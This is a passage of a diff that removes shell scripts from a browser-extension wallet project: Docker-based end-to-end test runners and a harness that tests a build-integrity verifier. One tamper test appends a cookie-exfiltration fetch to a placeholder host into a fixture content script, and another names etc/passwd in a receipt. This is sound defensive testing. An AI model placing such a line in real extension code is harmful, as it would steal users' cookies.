echo "tests: DID NOT RUN: timeout(1) rejected AUTISTMASK_TEST_TIMEOUT=\"${TIMEOUT}\"" >&2
echo "tests: set it to a duration such as 30 or 180 (see timeout(1))" >&2
exit 1
fi
echo "--- Rerunning with --verbose for details ---"
timeout "$TIMEOUT" yarn run test:verbose 2>&1 || true
# Always fail: the first run already proved the tests are broken, so a
# flaky pass on the rerun must not turn the build green.
exit 1
}
main "$@"

View File

@@ -1,99 +0,0 @@
#!/bin/sh
# script/test-e2e: build the extension and drive the real popup in a real
# Chromium inside a pinned container. Our own extension to
# scripts-to-rule-them-all.
#
# Deliberately NOT called by script/check or script/test: REPO_POLICIES.md
# caps make test at 20 seconds and a browser suite does not fit. Run it
# yourself before touching popup views. ESLint's no-undef now catches a
# used-but-not-imported identifier in make check, but only this suite sees
# what a view actually does when it runs.
# .gitea/workflows/e2e.yml also runs it on every push, in a job separate
# from check so that cap and the local fast path both stay intact.
#
# Docker is the only prerequisite. The repo reaches the container as a
# build context and the extension is built inside it (see
# tests/e2e/Dockerfile), so nothing here depends on the node, yarn or make
# on the machine that starts the run. That is not a convenience: a bind
# mount cannot work under Gitea Actions, and the runner image's node is too
# old to install this repo's dependencies.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-chrome"
IIDFILE=""
cleanup() {
if [ -n "$IIDFILE" ]; then
rm -f "$IIDFILE"
fi
}
main() {
cd "$ROOT"
if ! command -v docker >/dev/null 2>&1; then
echo "test-e2e: docker is required to run the e2e suite" >&2
exit 1
fi
IIDFILE="$(mktemp)"
trap cleanup EXIT
trap 'cleanup; exit 130' INT TERM
echo "Building the Chrome e2e image (extension included)..."
docker build --iidfile "$IIDFILE" -t "$IMAGE" -f tests/e2e/Dockerfile .
echo "Running e2e suite in the pinned Playwright container..."
# The image is run by ID, not by tag: where two clones of this repo run
# the suite at once, the other build can move the tag between this
# build and this run, and the suite would then silently test the other
# checkout.
#
# --ipc=host: Chromium's shared-memory needs more than the default
# 64MB /dev/shm or renderers crash.
# HOME=/tmp: the image's root home is not a reliable place for the
# browser profile.
# PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1: without it,
# ctx.route() intercepts page requests only, and every fetch made by
# the MV3 background service worker — the JSON-RPC calls behind
# every approval the suite drives among them — goes to the real
# internet. The flag is experimental and Playwright may drop or
# rename it. It cannot break silently: the harness asks the worker
# for one request of its own at launch and aborts the whole suite
# if it does not reach the route handler (see the interception
# canary in tests/e2e/harness.js). If a future Playwright removes
# the flag, that probe is what will fail, and the fix is either a
# replacement mechanism or an honest downgrade of the isolation
# claim in tests/e2e/network.js and README.md — not deleting the
# probe. The image is pinned by digest, so this can only ever bite
# on a deliberate bump.
docker run --rm \
--ipc=host \
-e HOME=/tmp \
-e PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1 \
-e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
"$(cat "$IIDFILE")" \
node tests/e2e/run.js
# Where chrome.storage.local lives, and what moves it: two unpacked loads
# from two different paths in one profile, with the shipped manifest and
# again with `key` stripped out. Its own browser sessions — four of them —
# because the whole subject is what happens ACROSS loads, which the suite
# above cannot express with one.
#
# No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
# RPC and installs no route handlers, and the browser is started with
# --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
echo "Running the extension-id and storage-partition observations..."
docker run --rm \
--ipc=host \
-e HOME=/tmp \
"$(cat "$IIDFILE")" \
node tests/e2e/storagePartition.js
}
main "$@"

View File

@@ -1,90 +0,0 @@
#!/bin/sh
# script/test-e2e-firefox: build the extension and drive the real popup in
# a real Firefox inside a pinned container. The Firefox counterpart to
# script/test-e2e. Our own extension to scripts-to-rule-them-all.
#
# Deliberately NOT called by script/check or script/test, for the same
# reason as the Chrome suite: REPO_POLICIES.md caps make test at 20 seconds
# and a browser suite does not fit. .gitea/workflows/e2e.yml also runs it
# on every push, in a job separate from check.
#
# Unlike script/test-e2e this builds its base image locally, because no
# published image carries both a pinned Firefox and a matching geckodriver.
# All three external artifacts are pinned by digest inside the Dockerfile;
# see tests/e2e/firefox/Dockerfile, which also explains why the repo and
# the extension build are baked into the image rather than mounted.
#
# Docker is the only prerequisite: nothing here depends on the node, yarn
# or make on the machine that starts the run.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-firefox"
IIDFILE=""
cleanup() {
if [ -n "$IIDFILE" ]; then
rm -f "$IIDFILE"
fi
}
main() {
cd "$ROOT"
if ! command -v docker >/dev/null 2>&1; then
echo "test-e2e-firefox: docker is required to run the e2e suite" >&2
exit 1
fi
IIDFILE="$(mktemp)"
trap cleanup EXIT
trap 'cleanup; exit 130' INT TERM
echo "Building the pinned Firefox e2e image (extension included)..."
docker build --iidfile "$IIDFILE" -t "$IMAGE" \
-f tests/e2e/firefox/Dockerfile .
echo "Running the Firefox e2e suite..."
# The image is run by ID, not by tag: where two clones of this repo run
# the suite at once, the other build can move the tag between this
# build and this run, and the suite would then silently test the other
# checkout.
#
# --shm-size=1g: Firefox needs more than the default 64MB /dev/shm.
# --network none: the suite stubs nothing, so this is what keeps the
# run offline and deterministic. The extension swallows its own
# fetch failures, so the popup flows work unchanged; see the
# network note in README.md. Weaker than the Chrome suite's
# fixture interception, and honestly so — it proves no request
# escaped, but it cannot report which ones were attempted.
# HOME=/tmp: the image's root home is not a reliable place for the
# browser profile.
#
# No --privileged. Firefox's sandbox logs
# "CanCreateUserNamespace() clone() failure: EPERM" on startup here;
# it is cosmetic and headless Firefox runs fine without it.
docker run --rm \
--shm-size=1g \
--network none \
-e HOME=/tmp \
"$(cat "$IIDFILE")" \
node tests/e2e/firefox/run.js dist/firefox
# The install/uninstall/re-install property, against the packaged XPI
# rather than the unpacked directory: it is the artifact a user would be
# handed, and this is the only place a real Firefox is asked to load it.
# Its own browser session, because it takes the add-on away in the middle
# and the suite above shares one session throughout.
echo "Running the Firefox re-install suite against the packaged XPI..."
docker run --rm \
--shm-size=1g \
--network none \
-e HOME=/tmp \
"$(cat "$IIDFILE")" \
node tests/e2e/firefox/reinstall.js
}
main "$@"

View File

@@ -1,955 +0,0 @@
#!/bin/sh
# script/test-verify-build: exercise every failure mode of
# script/verify-build, and what make build does with dist/ after one of them
# (script/discard-dist-on-failure). Our own extension to
# scripts-to-rule-them-all, run from script/check so make check covers it.
#
# Why this exists: verify-build is the build-integrity guard, and four separate
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
# the discarded find status, the line-delimited walk, and then the two the
# receipt replaced: an expectation read out of the verifier's own environment,
# and a file list read back out of the tree it was supposed to vouch for. Every
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
#
# Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a
# defect, so matching the status alone would not be a test of anything.
#
# The fixture is a temp tree containing script/verify-build as a SYMLINK to
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here. The fixture's receipt is written from the bytes
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
VERIFY_BUILD="$ROOT/script/verify-build"
DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE='
'
PASSED=0
FAILED=0
SKIPPED=0
SKIPPED_NAMES=""
# The command prefix that runs the permission-dependent cases as a user who
# is actually subject to file permissions, and whether those cases can run at
# all. Both are decided by probe_permission_runner, never assumed.
UNPRIV=""
PERM_ENABLED=no
PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK=""
cleanup() {
[ -n "$WORK" ] || return 0
# The cases chmod 000 files and directories on purpose.
chmod -R u+rwX "$WORK" 2>/dev/null || true
rm -rf "$WORK"
}
trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as.
TMPDIR="$WORK/tmp"
export TMPDIR
mkdir -p "$TMPDIR"
chmod 1777 "$TMPDIR"
chmod 755 "$WORK"
# --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing beyond its digest.
write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
}
# Digest of $1, taken with the harness's own sha256 command.
fixture_sha256() {
# Word-split on purpose: SHA256_CMD is a command with its arguments.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE"
mkdir -p "$FIXTURE/script"
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
"$FIXTURE/dist/chrome/src/content" \
"$FIXTURE/dist/firefox/src/popup"
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
write_receipt
# Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose.
chmod -R a+rX "$FIXTURE"
}
# --- permission runner ------------------------------------------------------
# Run a command through the current unprivileged runner. Unquoted on purpose:
# UNPRIV is a command prefix that has to word-split.
run_unpriv() {
# shellcheck disable=SC2086
$UNPRIV "$@"
}
# Decide whether the permission-dependent cases can run, and prove it rather
# than assuming it.
#
# The problem: the CI image declares no USER, so CI runs as root, and root is
# not subject to file permissions — chmod 000 stops neither find nor grep. A
# permission case run as root passes vacuously, which is worse than no case at
# all because it reads as coverage.
#
# So the runner is validated with two probes before any permission case is
# counted:
#
# - a mode-644 file MUST be readable through it. If not, the runner itself
# is broken (missing helper, no such user, sandbox), and every case run
# through it would fail for the wrong reason.
# - a mode-000 file MUST NOT be readable through it. If it is, permissions
# are not in force and the cases would pass without proving anything.
#
# Unprivileged: the runner is empty and both probes are about this process,
# which is the honest answer. Root: setpriv and runuser are tried, both
# present in the pinned CI base image. Only when no candidate passes both
# probes are the cases skipped, and a skipped run says so unmistakably.
probe_permission_runner() {
_probe="$WORK/probe"
mkdir -p "$_probe"
printf 'readable\n' >"$_probe/public"
printf 'secret\n' >"$_probe/private"
chmod 755 "$_probe"
chmod 644 "$_probe/public"
chmod 000 "$_probe/private"
if [ "$(id -u)" -eq 0 ]; then
_candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups --
runuser|runuser -u nobody --"
else
_candidates="direct|"
fi
_tried=""
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _line in $_candidates; do
IFS="$_saved_ifs"
_label="${_line%%|*}"
_cmd="${_line#*|}"
_tried="${_tried:+$_tried, }$_label"
if [ -n "$_cmd" ]; then
_bin="${_cmd%% *}"
command -v "$_bin" >/dev/null 2>&1 || continue
fi
UNPRIV="$_cmd"
# Broken or unusable runner: the cases would fail for the wrong
# reason. Reaching the script under test is part of usable.
run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue
run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue
# Permissions not in force through this runner: the cases would pass
# without testing anything.
if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then
continue
fi
PERM_ENABLED=yes
PERM_HOW="$_label"
IFS="$_saved_ifs"
return 0
done
IFS="$_saved_ifs"
UNPRIV=""
PERM_ENABLED=no
PERM_HOW="$_tried"
}
# --- case runner ------------------------------------------------------------
# How verify-build is invoked for a case. The arguments are literal here rather
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
#
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only
# means anything when file permissions are in force.
check_case() {
_name="$1"
_perm="$2"
_variant="$3"
_want_status="$4"
_want_text="$5"
_setup="$6"
if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - $_name$NEWLINE"
echo " SKIP (permissions not in force): $_name"
return 0
fi
build_fixture
if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then
FAILED=$((FAILED + 1))
echo " FAIL: $_name"
echo " the case's own setup failed, so nothing was tested."
return 0
fi
# Exported rather than set as a command prefix: run_verify may go through
# run_unpriv, which is a function, and an assignment prefixed to a function
# call is not portable. Every other case unsets it, so the environment this
# harness happens to run in cannot decide anything.
case "$_variant" in
*envdebug)
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
;;
*)
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
_ok=yes
_why=""
if [ "$_status" -ne "$_want_status" ]; then
_ok=no
_why="exit status $_status, wanted $_want_status"
fi
# Same discipline verify-build itself applies to grep: 0 and 1 are
# answers, anything else is not, and must not be read as "no match".
_g=0
printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$?
case "$_g" in
0) ;;
1)
_ok=no
_why="${_why:+$_why; }message did not contain: $_want_text"
;;
*)
_ok=no
_why="${_why:+$_why; }grep exited $_g matching the message, so the
message was never checked"
;;
esac
if [ "$_ok" = yes ]; then
PASSED=$((PASSED + 1))
echo " ok: $_name"
return 0
fi
FAILED=$((FAILED + 1))
echo " FAIL: $_name"
echo " $_why"
echo " --- verify-build output ---"
printf '%s\n' "$_out" | sed 's/^/ /'
echo " --- end output ---"
}
# --- cases ------------------------------------------------------------------
#
# Each runs with the fixture as its working directory. A case that regenerates
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; }
c_trailing_space() {
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js "
}
c_embedded_newline() {
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE"
}
c_dist_symlink() {
mv dist dist.real
ln -s dist.real dist
}
c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; }
c_dangling_symlink() {
ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js
}
c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_receipt_missing() { rm "$RECEIPT"; }
c_receipt_empty() { : >"$RECEIPT"; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
c_receipt_bad_header() {
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_receipt_other_tree() {
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_receipt_path_with_space() {
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_path_outside_dist() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
}
c_extra_file_no_marker() {
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
c_no_dist() { rm -rf dist; }
# --- dist discard -----------------------------------------------------------
#
# make build wraps every step of the release path in
# script/discard-dist-on-failure, so a release build that fails removes dist/:
# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
# debug bundle whose every wallet uses the publicly committed test recovery
# phrase, and a loud failure alone does not stop someone loading dist/chrome/
# anyway. make build-debug is deliberately not wrapped.
#
# Both directions are asserted against the state of dist/ ON DISK after the run,
# not against the exit status: a case reading only the status would keep passing
# if the removal quietly stopped happening, which is the flip this exists to
# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
# symlink in the fixture's script/ — with trivial commands standing in for the
# build steps, because what is under test is what happens after a step says no,
# not the step.
# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
discard_case() {
_dc_name="$1"
_dc_setup="$2"
_dc_want_status="$3"
_dc_want_dist="$4"
_dc_want="$5"
_dc_unwanted="$6"
shift 6
build_fixture
if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
FAILED=$((FAILED + 1))
echo " FAIL: $_dc_name"
echo " the case's own setup failed, so nothing was tested."
return 0
fi
_dc_status=0
_dc_out="$(cd "$FIXTURE" &&
"$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
_ok=yes
_why=""
if [ "$_dc_status" -ne "$_dc_want_status" ]; then
_ok=no
_why="exit status $_dc_status, wanted $_dc_want_status"
fi
# The assertion this case exists for: what is on disk now.
if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
_dc_dist=kept
else
_dc_dist=gone
fi
if [ "$_dc_dist" != "$_dc_want_dist" ]; then
_ok=no
_why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
_why="$_why $_dc_want_dist"
elif [ "$_dc_want_dist" = kept ] &&
[ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
# Kept has to mean intact: a dist/ emptied out is not one left alone.
_ok=no
_why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
fi
_dc_check_message "$_dc_want" want
_dc_check_message "$_dc_unwanted" unwanted
if [ "$_ok" = yes ]; then
PASSED=$((PASSED + 1))
echo " ok: $_dc_name"
return 0
fi
FAILED=$((FAILED + 1))
echo " FAIL: $_dc_name"
echo " $_why"
echo " --- discard-dist-on-failure output ---"
printf '%s\n' "$_dc_out" | sed 's/^/ /'
echo " --- end output ---"
}
# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
# output, updating _ok and _why. An empty substring asserts nothing. Same grep
# discipline as everywhere else here: 0 and 1 are answers, anything else means
# the message was never checked.
_dc_check_message() {
[ -n "$1" ] || return 0
_dcm_g=0
printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
case "$_dcm_g" in
0)
[ "$2" = unwanted ] || return 0
_ok=no
_why="${_why:+$_why; }message contained: $1"
;;
1)
[ "$2" = want ] || return 0
_ok=no
_why="${_why:+$_why; }message did not contain: $1"
;;
*)
_ok=no
_why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
message was never checked"
;;
esac
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect, and the discard cases prove what the wrapper does with dist/. This
# proves the Makefile wires both up — the mode as an argument, on a scrubbed
# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
# shell that ran make, and the wrapper on the release path only. Read off
# `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
# The release path runs its steps through the wrapper, including the final
# check-censored pass; the debug path runs none of them through it, which is
# what keeps a failed debug build's dist/ on disk.
_wiring_case "make build wraps its steps in discard-dist-on-failure" \
build "script/discard-dist-on-failure"
_wiring_case "make build wraps check-censored --require-dist too" \
build "script/discard-dist-on-failure script/check-censored"
_wiring_case_absent "make build-debug never discards its dist/" \
build-debug "discard-dist-on-failure"
}
# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
# non-zero, having already reported the failure, when make itself failed: a
# recipe that could not be printed was never checked.
_wiring_make_n() {
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
[ "$_wc_status" -ne 0 ] || return 0
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 1
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
_wiring_make_n || return 0
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
}
# The inverse: the recipe must NOT run something.
_wiring_case_absent() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
_wiring_make_n || return 0
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
1)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
0)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target runs: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
}
run_cases() {
check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space
check_case "extra file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_embedded_newline
check_case "dist/ replaced by a symlink" \
no release 1 "dist is a symlink, not a directory." c_dist_symlink
check_case "unwalkable subtree under dist/" \
yes release 1 "enumerating dist/, so part of the tree" \
c_unwalkable_subtree
check_case "dangling symlink under dist/" \
no release 1 \
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
check_case "symlink to a directory under dist/" \
no release 1 \
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
check_case "symlink aliasing an emitted bundle under another path" \
no release 1 \
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
check_case "receipt missing" \
no release 1 "is missing. build.js writes it" c_receipt_missing
check_case "receipt empty" \
no release 1 "is empty, so the build wrote nothing to it" \
c_receipt_empty
check_case "receipt unreadable" \
yes release 1 "is not readable, so nothing was inspected." \
c_receipt_unreadable
check_case "receipt is not a build receipt" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
